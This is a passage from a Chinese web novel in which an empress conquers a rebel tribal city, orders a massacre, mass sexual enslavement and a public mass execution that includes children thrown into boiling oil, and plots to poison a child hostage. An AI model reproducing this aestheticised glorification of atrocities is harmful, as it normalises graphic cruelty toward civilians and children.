林臻身体微微一震,迎上她的目光,在那双冰冷凤眸的深处,他似乎看到了一丝极其复杂的、不容置疑的依赖与占有。他沉默片刻,再次躬身:“臣,遵旨。” 慕容嫣似乎满意了。她不再看任何人,?迤逦着那身华美沉重的“神凤降世裙”?,?转身,?一步步走向暗门。 走到暗门口,她脚步微顿,?并未回头,声音清冷地传来: “传旨王坚告诉他朕来了。” “让他再多撑五天。” “若撑不到”她的声音陡然变得冰冷刺骨,“朕就把他的家小送去蛮营替他‘犒劳’三军。” 说完,暗门缓缓闭合,将她那绝美而冷酷的身影隔绝在外。 龙喉殿内,死寂一片。众人面面相觑,冷汗湿透重衣。女帝御驾亲征!这消息太过震撼,也太过疯狂! 林臻独自站在原地,目光死死盯着沙盘上镇南关的位置,指尖深深陷入掌心。 他知道,她决定的,无人能更改。 此行注定腥风血雨。他缓缓闭上眼睛,深吸一口气,再睁开时,眼中只剩下冰冷的决意与一丝深藏的忧虑。 第907章 所有高过车轮的男丁尽屠之 西南边陲,崇山峻岭之间,一座雄城扼守要冲,名为“黑石峒”。 此城依山而建,城墙皆以当地特有的黑色巨石垒成,易守难攻,乃是叛蛮“赤焰部”的核心据点,也是阻挡大乾王师深入西南腹地的关键屏障。 如今,城头飘荡着赤焰部的图腾战旗,蛮兵密布,滚木礌石堆积如山,箭镞在稀薄的阳光下闪烁着冰冷的寒光。 连日的急行军,大乾精锐终于兵临城下。 中军大营设在距离黑石峒三里外的一处高坡之上,俯瞰着那座如同黑色巨兽般盘踞的山城。 空气中弥漫着硝烟未散的气息、草木泥土的腥气,以及隐隐传来的蛮族战鼓的沉闷轰鸣。 中军大帐,并非传统意义上的行军帐篷,而是一座临时搭建、却依旧极尽恢弘的木质殿宇,以玄色为主调,饰以金色凤纹,威严而华丽。 帐内,巨大的沙盘上,黑石峒的模型被猩红的小旗团团围住。 慕容嫣并未身着戎装,?依旧穿着那件华美绝伦、轻盈如梦、却与这铁血沙场格格不入、又仿佛能镇压一切兵戈的黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?正慵懒地靠在一张铺着完整白虎皮的宽大帅座之中。 连日奔波,风尘仆仆,却似乎并未在她身上留下太多痕迹,只是眉眼间添了一丝真实的倦意,但更多的,是一种近乎兴奋的、狩猎前的锐利。? 极致玄黑的苏锦底料在帐内略显昏暗的光线下,吸吮着从帐门缝隙透入的天光,呈现出一种饱经风尘却愈发沉静的墨色,织入的金色棉绒与真金线在尘埃中依旧流淌着不屈的暗金波光,神秘、高贵。?? “神凤降世裙”之上,那只铺天盖地的擎天巨凤,?仅以赤金线绣成,在此刻肃杀的环境下,更显灼热逼人,凤羽层叠,仿佛沾染了战场的血气,尊贵威严中透出碾碎一切的戾气! 凤眸上的黑钻冰冷洞彻,倒映着沙盘上的孤城。 ?宽大轻盈的喇叭袖垂落,袖口金线流苏沾染了些许尘土,却依旧华光内蕴。而她左手拇指上,戴着一枚通体剔透、毫无杂色的墨玉扳指,更添几分冷冽的威仪。 而那长达五丈的苏锦拖尾,?并未做任何收敛,?而是自然地、迤逦地直接拖曳在铺着粗糙兽皮的地面之上!?? 华贵到极致的拖尾已然沾染了营地的尘土与草屑,其上镶嵌的宝石固执地折射着冷冽的光芒,如同一道降临战场的墨金色天命,与周遭的粗犷环境形成了惊心动魄的对比。 林臻一身玄色轻甲,肩伤处微微鼓起,面色因劳累与旧伤而愈发苍白,却依旧身姿挺拔地立于帅座之侧,目光沉静地注视着沙盘。 数名高级将领垂首肃立帐中,等待着最终的进攻命令。帐外,战马的嘶鸣与兵甲的碰撞声隐约可闻。 “攻城器械都到位了?”慕容嫣并未看沙盘,?而是把玩着拇指上的墨玉扳指,声音带着一丝慵懒的沙哑。 “回陛下!”前锋主将躬身道,“破山弩十架已抵前沿,冲车、云梯皆已准备就绪!只是黑石峒城墙高厚,蛮子抵抗顽强,强攻恐伤亡” “伤亡?”慕容嫣轻笑一声,?笑声冰冷,“朕带你们来西南是游山玩水的吗?” 将领浑身一颤,不敢再多言。 慕容嫣缓缓站起身,?五丈拖尾随之滑动。她踱步到帐门处,?掀开厚重的帐帘一角,?眺望着远处那座黑沉沉的城池。山风灌入,吹起她的长发与宽大喇叭袖,??“神凤降世裙”的裙摆微微飘动。 “王坚的镇南关还能撑几日?”她并未回头,轻声问道。 “最新军报至多三日。”林臻沉静的声音响起,带着一丝不易察觉的沉重。 “三日”慕容嫣重复了一句,?指尖的墨玉扳指轻轻摩挲着,“够了。” 她猛地回身?! 动作迅疾而充满威仪! 那轻盈华贵的五丈苏锦拖尾因这突然的回转被猛地带起,墨金色的巨幅裙摆如同战旗般猎猎展开,?唰啦一声扫过粗糙的兽皮地面!?? 随着裙摆的骤然飘起——赫然露出了里面同样以玄黑苏锦为底、却用更璀璨、更耀眼的赤金线,以“满地织金”的极致工艺,满绣着百凤朝阳、缠枝莲纹与万福万寿纹路的华丽内衬!?? 那内衬上的金凤与花纹在帐内昏暗的光线下骤然闪现,金光璀璨夺目,华美辉煌到了极致,仿佛在铁血军营中骤然燃起的复仇烈焰,尊贵、耀眼,且带着碾碎一切敌人的决绝意味! 裙摆落下,华光内敛。 但慕容嫣的杀意已如同出鞘的利剑:“传令。” 她的声音清晰而冰冷,回荡在帐中:“第一,所有破山弩换装火鸦箭,目标城内粮仓、水源地、以及赤焰部头人的石楼。给朕烧!” “第二,挑选死士三百,身负火油罐,趁夜从后山峭壁攀援而上,潜入城中。任务只有一个放火!哪里人多烧哪里!” “第三,攻城主力,拂晓时分,伴攻东门。吸引蛮兵主力。” 她目光扫过众将,?嘴角勾起一抹残忍的弧度?:“告诉将士们破城之后三日不封刀。” “城中所有高过车轮的男丁尽屠之。” “女子充为营妓。” “财物谁抢到归谁。” 命令一条接一条,冷酷、血腥、且充满了极度功利性的激励! 这是要彻底摧毁黑石峒的抵抗意志与生存基础! 众将听得心惊肉跳,却无人敢有异议,反而眼中闪过一丝嗜血的兴奋,齐声应道:“遵旨!” “至于你,”慕容嫣目光转向林臻,?语气不容置疑,“留在中军。统揽全局。” 林臻猛地抬头看向她,眼中闪过一丝急切与担忧,嘴唇动了动,似乎想坚持同往前线。 “这是旨意。”慕容嫣打断他,?目光冰冷,“你的伤还没好。朕不想抬着你回京。” 说完,她不再看他,?迤逦着那身华美沉重的“神凤降世裙”?,?径直走向帐外那里,一架特制的、装饰着凤凰纹饰、可供站立俯瞰战场的高大指挥车已准备就绪。 攻城战,在一种极其压抑和恐怖的气氛中拉开序幕。 首先是黎明前最黑暗的时刻,黑石峒城内多处突然燃起冲天大火!粮仓、水井、头人府邸相继陷入火海! 混乱与恐慌瞬间蔓延! 紧接着,拂晓时分,震天的战鼓敲响!大乾军队对东门发起了猛烈的佯攻!箭矢如雨,杀声震天! 而真正的杀招,是那十架“破山弩”射出的、拖着烈焰尾羽的“火鸦箭”!它们如同来自地狱的流星,精准地砸向城中要害!爆炸声、燃烧声、哭喊声交织在一起,黑石峒瞬间化为一片火海地狱! 慕容嫣站立在高大的指挥车上,?身穿着那身与战场格格不入却又威仪天成的“神凤降世裙”?,?山风吹拂着她的长发与宽大喇叭袖,?五丈长的拖尾垂落车驾平台,?迤逦于地。 她面无表情地俯瞰着远处的血腥战场,?火光在她冰冷的瞳孔中跳跃,?仿佛在欣赏一幅壮丽的画卷。 她偶尔抬起戴着墨玉扳指的手,?指向某处,?身旁的传令兵便立刻挥动令旗,调整着进攻的节奏与方向。 血腥的攻城战持续了整整一天。 守城的蛮兵虽然悍勇,但在内外夹击、火攻与绝对武力的碾压下,抵抗逐渐瓦解。 傍晚时分,城门终于被“冲车”撞开! 如狼似虎的大乾军队蜂拥而入! 城内顿时陷入了更惨烈的巷战与屠杀。 慕容嫣这才缓缓走下指挥车。 她并没有进入一片混乱的城池,而是回到了中军大帐。 帐内已点燃烛火。 她慵懒地靠回白虎皮帅座,?听着远处隐约传来的厮杀声与哭喊声,?神情平静,?甚至带着一丝厌倦。 她伸出手,?看着自己“神凤降世裙”袖口沾染的一点点不知何时溅上的、早已干涸的暗红色血点,?眉头微微蹙起。 “脏了,”她轻声自语,?语气里带着真实的嫌恶。 这时,林臻快步走入帐中,他身上轻甲染血,脸色苍白,眼中带着一丝疲惫与不忍。 他刚刚去前沿巡视了一圈,城内的惨状令他心悸。 慕容嫣抬眸看他,?目光落在他染血的肩甲上?,?眼神倏地一冷?:“谁的血?” 林臻沉默一瞬,低声道:“蛮将的。” 慕容嫣静静看了他片刻,?忽然,她站起身,?走到他面前。 她伸出手,?并非去碰他的伤口,而是用戴着墨玉扳指的拇指,?极其用力地,?擦拭着他肩甲上那抹刺眼的血迹?!动作粗暴,带着一种不容置疑的占有与怒意。 “朕说过”她声音低沉,?带着一丝危险的戾气,“你的血只能为朕流。” 擦了几下,血迹未去,反而在她华贵的睡裙袖口上又添了抹红痕。 慕容嫣眉头蹙得更紧,?眼中闪过一丝暴虐。她猛地收回手,?看向帐外,?冷声道?:“传令!将今日俘获的蛮族头人全部押到城门口!剐了!首级垒成京观!” “其余俘虏明日一早,全部坑杀!” 命令下达,冷酷至极。 林臻身体微微一震,垂眸不语。 慕容嫣这才似乎泄了愤。 她转身,?不再看林臻,?迤逦着那身染了血污却依旧华美夺目的“神凤降世裙”?,?走向帐后为她临时隔出的寝处。 走到门口,她脚步微顿,?并未回头,声音清冷地传来: “今晚你守在外面。” “没有朕的允许谁也不准进来。” “包括你。” 说完,她步入内帐,?华丽的拖尾最后迤逦滑入,?帐帘落下。 林臻独自站在帐中,听着远处隐约传来的凄厉惨叫与帐内烛火噼啪声,抬手轻轻抚过肩甲上被她用力擦拭过的地方,眼神复杂如深渊。 第908章 顺朕者未必昌,逆朕者必亡 黑石峒城破后的第三日。 城内的零星抵抗已被彻底扑灭,浓烈的血腥味与焦糊气息弥漫在空气中,即便在三里外的中军大营也清晰可闻。 往日蛮族的喧嚣早已被死寂取代,唯有乌鸦的啼叫与风中隐约传来的哭泣声,诉说着这座城池经历的浩劫。 然而,就在这片死亡之地的前沿,一座临时搭建、却异常高大恢弘的观刑台,巍然矗立在黑石峒东门外一片相对平坦的开阔地上。 此台以粗大的原木和黑色巨石垒成,高约三丈,台顶铺着厚重的玄色地毯,装饰着金色的凤凰纹饰,俯瞰着下方那片被清理出来、作为刑场的巨大空地。 此刻,午时将至,烈日当空,却驱不散那彻骨的寒意。 观刑台上,一把异常宽大、铺着完整玄狐皮、雕刻着百凤朝阳图案的鎏金凤椅被安置在台顶正中央。 凤椅之上,慕容嫣正慵懒地斜倚着,?身穿着那件华美绝伦、轻盈如梦、却与眼前这即将到来的血腥场景形成地狱般对比的黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙。 即便身处战场,经历攻城硝烟,这身睡裙依旧保持着惊人的华贵。? 极致玄黑的苏锦底料在烈日下吸吮着灼热的光线,呈现出一种深渊般的墨色,织入的金色棉绒与真金线在强光下流淌着刺眼而冰冷的暗金波光,神秘、高贵,与台下那片即将被鲜血浸透的土地形成了惊心动魄的对比。 ??“神凤降世裙”之上,那只铺天盖地的擎天巨凤,?仅以赤金线绣成,在烈日下仿佛燃烧起来,凤羽层叠,灼灼如熔岩,尊贵威严中透出吞噬一切的戾气! 凤眸上的黑钻在强光下折射出令人不敢直视的锐利寒芒。?宽大轻盈的喇叭袖垂落椅边,袖口金线流苏纹丝不动。而她左手拇指上,那枚通体剔透的墨玉扳指,更在阳光下泛着幽冷的光泽。 而那长达五丈的苏锦拖尾,?并未有任何收敛,?而是迤逦地直接拖曳下观刑台高高的台阶,?铺展在通往刑场的、被无数脚印踩实的泥土地上!?? 华贵到极致的拖尾与肮脏的土地接触,其上镶嵌的宝石固执地折射着烈日的光芒,如同一道从天而降的、审判的墨金色河流,冷酷地漫过即将化为修罗场的土地。 慕容嫣容颜绝世,神情却是一种近乎慵懒的漠然,她微微眯着眼,仿佛在享受这午后的阳光,对即将开始的惨剧毫不在意。 而就在她身侧,那张宽大的凤椅上,林臻正僵直地坐着。 他依旧是一身玄色轻甲,肩伤处包裹着白布,脸色苍白得近乎透明,薄唇紧抿,目光低垂,放在膝上的双手不自觉地握成了拳,指节因为用力而泛白。 慕容嫣并没有完全靠在他身上,但两人的距离极近,她的一只喇叭袖甚至若有若无地搭在了他的臂甲之上,?形成一个充满占有欲的姿态。 台下,那片巨大的空地上,黑压压地跪满了被俘的蛮族俘虏,足有数千之众! 男女老幼皆有,他们衣衫褴褛,浑身血污,被绳索捆绑串联,在烈日曝晒和极度恐惧下,如同待宰的羔羊般瑟瑟发抖,低低的哭泣与绝望的呻吟汇聚成令人心悸的声浪。 周围,是密密麻麻、刀甲鲜明、面色冷峻的大乾精锐士兵,枪戟如林,在阳光下闪烁着寒光。更远处,是残破的黑石峒城墙,以及无数被吊死在城墙上、在风中轻轻摇晃的蛮兵尸体。 刑场一侧,各种行刑器具一应俱全:巨大的铡刀、烧得通红的烙铁、挂着倒钩的刑架、以及数十口翻滚着热油、散发着刺鼻气味的大锅,空气中弥漫着死亡的气息。 一名刑官小跑着登上观刑台,跪地颤声禀报:“陛下,一切准备就绪。俘虏共计三千七百余口请陛下示下。” 慕容嫣连眼皮都未抬一下,?只是用戴着墨玉扳指的指尖,?轻轻敲击着凤椅的扶手,声音慵懒而清晰:“开始吧。” 简单的三个字,却如同地狱的丧钟! 刑官连滚爬爬地退下。 很快,凄厉至极的惨叫声便从刑场上爆发出来! 大屠杀开始了! 行刑并非杂乱无章,而是有条不紊、极其残忍地进行着。第一批被拉出来的,是俘虏中所有被辨认出的赤焰部头人、巫师和勇士。 他们被强行按在铡刀之下,刀光闪过,头颅滚落,无头尸身被随意踢开,鲜血瞬间染红了地面。 接着,是那些在攻城战中负隅顽抗的蛮兵,他们被绑在刑架上,遭受凌迟之刑,行刑手熟练地一片片割下他们的血肉,惨叫声持续不断,令人作呕。 慕容嫣静静地看着,?脸上没有任何表情,?甚至嘴角还带着一丝极淡的、近乎愉悦的弧度。她偶尔会端起旁边矮几上的一杯冰镇葡萄酿,?轻轻抿一口,?仿佛在欣赏一场精彩的戏剧。 林臻的身体僵硬如铁,他极力控制着自己不去看那血腥的场面,但那些凄厉的惨叫、浓郁的血腥味,却无孔不入地冲击着他的感官。 他的脸色越来越苍白,呼吸变得急促,握紧的拳头微微颤抖。他能清晰地感受到身旁慕容嫣那平静无波、甚至带着一丝惬意的气息,这让他感到一种彻骨的寒意。 慕容嫣似乎察觉到了他的异样。她微微侧过头,?目光落在林臻苍白的侧脸和紧抿的唇上,?眼神中闪过一丝难以察觉的玩味。 “怎么?”她轻声问,?声音带着一丝慵懒的沙哑,?在这地狱般的背景音下显得格外诡异,“觉得残忍?” 林臻猛地一震,垂眸更低,喉结滚动了一下,却发不出任何声音。 慕容嫣轻笑一声,?笑声清脆,?却让林臻感到毛骨悚然。 “对敌人仁慈,”她缓缓说道,?指尖的墨玉扳指轻轻摩挲着扶手,“就是对自己残忍。” 她目光重新投向刑场,?看着又一批俘虏被驱赶到那些翻滚的热油锅前,?声音平静无波?:“这些蛮子屠戮朕的子民时可曾有过半分怜悯? 他们围攻镇南关想让王坚和数千守军活活饿死时可曾想过残忍?” 惨叫声愈发凄厉,热油翻滚的刺啦声和皮肉焦糊的气味随风传来。 慕容嫣却仿佛闻不到,?继续用那种平淡的语调说道?:“朕这是在教他们一个道理。” 她顿了顿,?一字一句地,?清晰地说道?:“顺朕者未必昌。逆朕者必亡。” 就在这时,刑场上发生了更令人发指的一幕! 一些年幼的蛮族孩童被从母亲怀中强行夺走,哭喊着被扔进了那些沸腾的油锅! 瞬间的惨叫声戛然而止,取而代之的是一种更深的、来自那些母亲撕心裂肺的绝望哀嚎! 林臻的身体剧烈地颤抖了一下,他猛地闭上眼睛,额头上青筋暴起,几乎要控制不住地站起来! 慕容嫣的目光瞬间冷了下来。她并没有看他,?而是缓缓站起身。 她这一动,?那五丈长的苏锦拖尾随之在观刑台的台阶上滑动。 她走到台边,?俯瞰着下方那片真正的人间地狱,?宽大喇叭袖在热风中微微拂动。 然后,她猛地回身?! 动作带着一种不容置疑的威仪与怒意! 那轻盈华贵的五丈苏锦拖尾因这迅猛的回转被猛地带起,墨金色的巨幅裙摆如同愤怒的凤凰之翼,轰然展开,?唰啦一声扫过观刑台的地面!?? 随着裙摆的骤然飘起——赫然露出了里面同样以玄黑苏锦为底、却用更璀璨、更耀眼的赤金线,以“满地织金”的极致工艺,满绣着百凤朝阳、缠枝莲纹与万福万寿纹路的华丽内衬!?? 那内衬上的金凤与花纹在烈日下骤然闪现,金光璀璨夺目,华美辉煌到了极致,仿佛在这尸山血海之上骤然降临的烈日金光,尊贵、耀眼,且带着碾碎一切怜悯的无情意味! 裙摆落下,华光内敛。 但慕容嫣的怒意已如同实质。她几步走回凤椅前,?并没有坐下,而是居高临下地看着依旧紧闭双眼、浑身僵直的林臻。 “睁开眼睛。”她命令道,声音冰冷刺骨。 林臻身体一颤,缓缓睁开眼,眼中充满了痛苦与挣扎。 “看着。”慕容嫣指着台下那片血腥,?声音不容置疑,“给朕好好看着。” “记住这些声音记住这些画面,”她一字一顿地,?声音里带着一种残酷的温柔,“记住违背朕的下场记住你是谁的人。” 说完,她竟重新坐回凤椅,?而且这一次,她不再是慵懒地斜倚,而是微微侧身,?将自己大半个身子靠进了林臻僵硬的怀中?! ?她的头,?甚至轻轻枕在了他未受伤的那边肩膀上?! ?宽大喇叭袖下的手,?自然地搭在了他的胸前,?指尖的墨玉扳指,?无意识地抵着他冰凉的甲胄。 这个动作,充满了极致的占有、依赖与一种令人胆寒的、在血腥中寻求慰藉的病态亲密! 林臻彻底僵住! 他能清晰地感受到她身体的柔软与微凉,能闻到她发间那独特的冷梅异香,与台下浓烈的血腥味混合在一起,形成一种极其诡异的感觉。 他能听到她平稳的呼吸声,与自己如擂鼓般的心跳形成了鲜明对比。 他不敢动,也不能动,只能僵硬地承受着这怀抱,承受着这耳边不断传来的、地狱般的惨叫声。 慕容嫣似乎满意了。她甚至调整了一个更舒适的姿势,?闭上了眼睛,?仿佛在聆听一场助眠的音乐,?嘴角那抹愉悦的弧度愈发明显。 屠杀,仍在继续。哭声、惨叫声、求饶声、行刑的闷响交织成一曲血腥的挽歌。 而观刑台上,那相拥的两人,一个如同沉睡的暴君,一个如同僵硬的雕塑,构成了一幅足以让任何人灵魂战栗的恐怖画卷。 不知过了多久,当刑场上的声音渐渐微弱下去,当血腥味浓烈到几乎实质化时,慕容嫣才缓缓睁开眼。 她并没有立刻起身,而是仰起头,?看着林臻近在咫尺的、苍白的下巴和紧抿的唇。 她忽然伸出手,?用那戴着墨玉扳指的指尖,?极轻地刮过他的下颌。 “回营。”她轻声说,?语气恢复了慵懒,“朕累了。” 说完,她这才优雅地站起身,?迤逦着那身华美沉重、仿佛沾染了无形血气的“神凤降世裙”?,?看也不看台下那片尸山血海,?一步步走下观刑台。 林臻独自坐在凤椅上,许久,才缓缓抬起颤抖的手,捂住了自己的脸。 指缝间,有温热的液体滑落。不知是汗,还是泪。 第909章 继续追击 黑石峒的冲天血光与焦土尚未完全冷却,慕容嫣的目光已如鹰隼般投向了更遥远的东北方——齐国。 皇叔慕容弘最重要的谋士、携带着大乾核心机密叛逃的宇文述,如同一根毒刺,深深扎在她的心头。 然而,她并未立刻发动雷霆万钧的跨境打击,而是选择了一种更缓慢、更残忍、也更彰显其绝对掌控力的方式。 时值初夏,大乾北境,雁门关。 此关雄踞崇山峻岭之间,扼守南北咽喉,关城巍峨,旌旗招展。 关内帅府,已临时改为皇帝行辕,虽不及皇宫奢华,却依旧透着一股森严的军旅之气。 此刻,帅府正堂已被改造为一处战略枢要之地。巨大的北境及邻国疆域沙盘占据中央,其上标注着密密麻麻的军情讯息。 堂内烛火通明,却气氛凝重。数名身着玄色劲装、气息精悍的暗卫首领与北疆军镇将领垂首肃立,面色恭谨中带着一丝难以掩饰的敬畏。 慕容嫣并未端坐主位,?而是身穿着那件华美绝伦、轻盈如梦、却与这边关铁血氛围形成极致反差的黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?慵懒地倚靠在沙盘旁一张铺着白虎皮的宽大太师椅中。 即便身处边关帅府,这身睡裙依旧保持着惊世骇俗的华贵。 ?极致玄黑的苏锦底料在烛火与从窗外透入的夏日烈阳下,吸吮着光线,呈现出一种深不见底的墨色,织入的金色棉绒与真金线在光线下流淌着冰冷而锐利的暗金波光,神秘、高贵。 ??“神凤降世裙”之上,那只铺天盖地的擎天巨凤,?仅以赤金线绣成,在边塞的豪迈背景下更显气势磅礴,凤羽层叠,灼灼如熔金,尊贵威严中透出追魂索命的戾气! 凤眸上的黑钻冰冷洞彻,仿佛能穿透千里,锁定猎物。 ?宽大轻盈的喇叭袖垂落椅边,袖口金线流苏纹丝不动。 而她左手拇指上,那枚通体剔透的墨玉扳指,在烛光下泛着幽冷的光泽。 而那长达五丈的苏锦拖尾,?更是毫无顾忌地、迤逦地直接拖曳在帅府打磨光滑的青石板地面上!?? 华贵到极致的拖尾与冰冷的石板接触,其上镶嵌的宝石折射着光芒,如同一道降临边关的墨金色律令,冷酷地宣告着皇权的无远弗届。 她容颜绝世,神情却是一种带着玩味的冷漠,指尖戴着墨玉扳指的右手,正有一下没一下地轻轻点着沙盘上代表齐国都城“临淄”的模型。 林臻一身玄色常服,肩伤似乎好了些,但脸色依旧略显苍白,他沉默地立于沙盘另一侧,目光沉静地注视着沙盘上的局势演变。 一名暗卫首领正躬身禀报,声音低沉而清晰:“据夜枭密报,逆贼宇文述已获齐王封赏,官拜客卿,掌天工院。 其所携之火炮图纸,齐國工匠已开始仿制,然核心机括屡试不成,进展缓慢。其带去之工匠,有三人因意外暴毙,余者皆被严密监控,人心惶惶” 慕容嫣听着,?嘴角勾起一抹极淡的、冰冷的弧度?:“哦?才死了三个?齐王的保护似乎不尽如人意啊。” 暗卫首领头垂得更低:“陛下明鉴。据查,那三人之死疑似与齐国本土工匠派系倾轧有关,亦有我方夜枭暗中推动。” “不够。”慕容嫣轻轻吐出两个字,?指尖在“临淄”模型上重重一点,“朕要那宇文述寝食难安。要他身边无人可信。要他变成一只真正的惊弓之鼠。” 她抬起眸,?目光扫过众暗卫首领,声音清冷如冰:“传令下去。” “第一,动用所有潜伏临淄的夜枭,不必急于刺杀。朕要你们陪他好好玩。”她语气带着一种残忍的戏谑, “今日在他府邸门口放一具无名尸;明日在他茶水里下点无关痛痒却让他疑神疑鬼的佐料;后日将他最宠爱的姬妾变成朕的耳朵。” “朕要让他走路怕踩到针,吃饭怕吞下毒,睡觉怕见不到明天的太阳。”她的声音不高,却字字如刀,令人胆寒。 “第二,”她目光转向沙盘上齐国与周边小国的交界处,“那些依附齐国、或与齐国有贸易往来的小邦给他们找点麻烦。劫几批贡品,杀几个使臣账,自然要算在某些对齐王不满的势力头上。”她轻笑,“朕倒要看看齐王是保他的客卿还是保他的藩篱?” “第三,”她指尖滑向沙盘上一条蜿蜒的河流模型,那是流经齐国都城的重要水道,“找机会在宇文述视察天工院沿河工坊时让一两艘装着废料的船不小心撞上去。不必伤他性命溅他一身污水即可。” 她眼中闪过一丝恶毒的光芒,“朕的神凤降世裙沾不得尘他的狗命配得上几滴污水。” 命令一条接一条,并非为了立刻取人性命,而是为了极尽折磨、羞辱与精神摧残!这是一种更高层次的、将恐惧植入骨髓的追杀! 众暗卫首领凛然遵命,眼中闪烁着狂热与敬畏。 “还有,”慕容嫣似乎想起什么,?慵懒地调整了一下坐姿,?让那五丈拖尾更舒适地铺展,“听说宇文述有个儿子在齐国为质?” “是,陛下。其幼子宇文拓,年方十二,被齐王安置于宫中名为伴读,实为人质。” “嗯。”慕容嫣轻轻应了一声,?指尖的墨玉扳指无意识地转动着, “找个机会让那孩子生一场大病。病得要死不死的那种然后” 她顿了顿,?嘴角那抹残忍的弧度加深,“让咱们的人恰好献上灵药救他一命。” 她抬起眼,?目光冰冷?:“朕要那宇文述明知是毒药也得跪着谢恩咽下去!” 这已不仅是追杀,更是诛心! 要将猎物逼至绝境,让其饱尝恐惧、屈辱与无可奈何的绝望! 林臻站在一旁,沉默地听着这一切,目光低垂,看不清眼中情绪,唯有放在身侧的手,微微收紧。 命令下达完毕,暗卫首领们领命而去,帅府内暂时恢复了安静。 慕容嫣似乎有些倦了,?她缓缓站起身,?五丈拖尾随之滑动。她踱步到窗前,?眺望着窗外雁门关雄浑的城墙与远处苍茫的群山。 夏日炽热的阳光照射在关墙上,反射出刺目的光芒。 “夫君,”她忽然轻声开口,?并未回头,声音里带着一丝慵懒的沙哑,“你说那宇文述此刻在做什么?” 林臻微微抬眸,看向她的背影,没有回答。 慕容嫣似乎也并不需要他回答,?自顾自地继续说道?:“是在对着那些仿造不出的火炮图纸发愁?还是在疑神疑鬼地检查身边的每一个人?亦或是抱着他那个病恹恹的儿子瑟瑟发抖?” 她轻笑出声,笑声清脆,却带着令人不寒而栗的冰冷:“真好玩不是吗?” 她猛地回身?! 动作迅疾而充满威仪! 那轻盈华贵的五丈苏锦拖尾因这突然的回转被猛地带起,墨金色的巨幅裙摆如同狩猎中的凤凰之翼,轰然展开,?唰啦一声扫过光滑的青石板地面!?? 随着裙摆的骤然飘起——赫然露出了里面同样以玄黑苏锦为底、却用更璀璨、更耀眼的赤金线,以“满地织金”的极致工艺,满绣着百凤朝阳、缠枝莲纹与万福万寿纹路的华丽内衬!?? 那内衬上的金凤与花纹在夏日炽烈的光线下骤然闪现,金光璀璨夺目,华美辉煌到了极致,仿佛在边关的肃杀之地骤然燃起的烈日金焰,尊贵、耀眼,且带着戏弄猎物于股掌之间的残酷意味! 裙摆落下,华光内敛。 但慕容嫣的掌控欲已展露无遗。她走回沙盘旁,?目光再次落在“临淄”之上,?指尖轻轻敲击着。 “不急,”她低声自语,?仿佛在安慰自己,又像是在宣告,“朕有的是时间陪他玩。” “等他被恐惧啃噬得差不多了,等齐王对他厌烦透顶等他自己变成一个人人避之不及的瘟神。” 她抬起头,?看向林臻,?眼中闪烁着一种近乎天真却又无比残忍的光芒?:“到时候朕再派人去把他请回来。” “你说”她歪着头,?语气带着一丝好奇的残忍,“是把他千刀万剐点天灯好呢?还是把他做成人彘就放在这雁门关城楼上让他日日看着朕的江山求生不得求死不能?” 她的声音轻柔,却如同毒蛇吐信,每一个字都充满了令人毛骨悚然的恶意。 林臻依旧沉默,只是垂下的眼帘微微颤动了一下。 慕容嫣似乎很满意自己构想出的画面。她轻轻抚摸着“神凤降世裙”袖口上巨凤的金线羽翼,?转身,?迤逦着那身华美沉重的睡裙,?向帅府内间走去。 走到门口,她脚步微顿,?并未回头,声音清冷地传来: “传令给镇南关的王坚蛮族之地该换一个听话的主人了。” “至于怎么换让他看着办。” “朕只要结果。” 说完,她步入内间,?华丽的拖尾最后迤逦滑入,?门帘落下。 帅府正堂内,只剩下林臻一人。 他缓缓抬起头,目光复杂地望向沙盘上那个代表临淄的微小模型,仿佛能穿透千里,看到那个正在无形的罗网中挣扎的、名为宇文述的棋子。 夏日炽热的阳光透过窗棂照射进来,却让人感到一丝彻骨的寒意。 这场追杀,无关生死,只关折磨。慕容嫣正在用她独有的、残酷而精致的方式,编织着一张巨大的恐惧之网,不仅要捕获猎物,更要让猎物的灵魂,在网中彻底崩溃。 第910章 谈判 仲夏时节,齐国都城临淄。 虽两国边境摩擦不断,暗流汹涌,但表面上,一场关乎两国命运的最高级别会谈,仍在一种极其诡异而紧张的气氛下,于齐国恢弘的“天授殿”内举行。 此番会谈,名义上是为缓和边境紧张,实则暗藏杀机,是双方最高统治者意志的直接碰撞。 天授殿内,金碧辉煌,蟠龙柱耸立,齐国文武百官依序肃立,气氛庄重而压抑。 齐王高踞于九级玉阶之上的金龙宝座,年近五旬,面容威严,眼神锐利,周身散发着久居上位的帝王威仪。 然而,若细看,便能发现其眉宇间凝聚着一丝不易察觉的凝重与忌惮。 所有人的目光,都聚焦在殿门入口处。他们在等待那位传说中的、以奢靡残暴闻名、却刚刚以铁血手段踏平西南蛮族的大乾女帝。 钟鼓齐鸣,殿门缓缓洞开。 刹那间,整个天授殿内,仿佛连呼吸都停滞了。 只见慕容嫣并未穿着象征帝王威仪的衮服或戎装,?而是依旧身穿着那件华美绝伦、轻盈如梦、却与这庄严肃穆的敌国朝堂格格不入、甚至带着一种挑衅般极致奢华的黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?缓步走了进来。 她并非独自一人。 林臻一身玄色暗绣蟠龙常服,面色沉静如水,紧随其侧后一步之距,如同最忠诚的影子。 他的存在,本身就是一个无声的宣告。 ?极致玄黑的苏锦底料在齐国宫殿璀璨的宫灯照耀下,吸吮着光芒,呈现出一种深不见底、却又流光暗涌的墨色,织入的金色棉绒与细若游丝的真金线在灯光下疯狂折射出流动的、冰冷而刺目的暗金波光,神秘、高贵,带着一种碾压式的、不容置疑的威仪,瞬间将殿内齐国的金碧辉煌都比了下去! ??“神凤降世裙”之上,那只铺天盖地的擎天巨凤,?仅以赤金线绣成,在异国他乡的殿堂中,更显灼热逼人,凤羽层叠,仿佛浴火振翅,尊贵威严中透出俯视一切的戾气! 凤眸上的黑钻冰冷洞彻,扫过齐国王公百官,带着毫不掩饰的轻蔑。?宽大轻盈的喇叭袖垂落身侧,袖口金线流苏纹丝不动,却华光内蕴,与齐国官员宽大的朝服袖摆形成了鲜明对比。 而她左手拇指上,那枚通体剔透的墨玉扳指,在灯光下泛着幽冷的光泽,更添几分疏离与冷傲。 最令人瞠目结舌的是,那长达五丈的苏锦拖尾,?竟毫无顾忌地、迤逦地直接拖曳在天授殿光洁如镜、雕刻着蟠龙祥云的金砖地面之上!?? 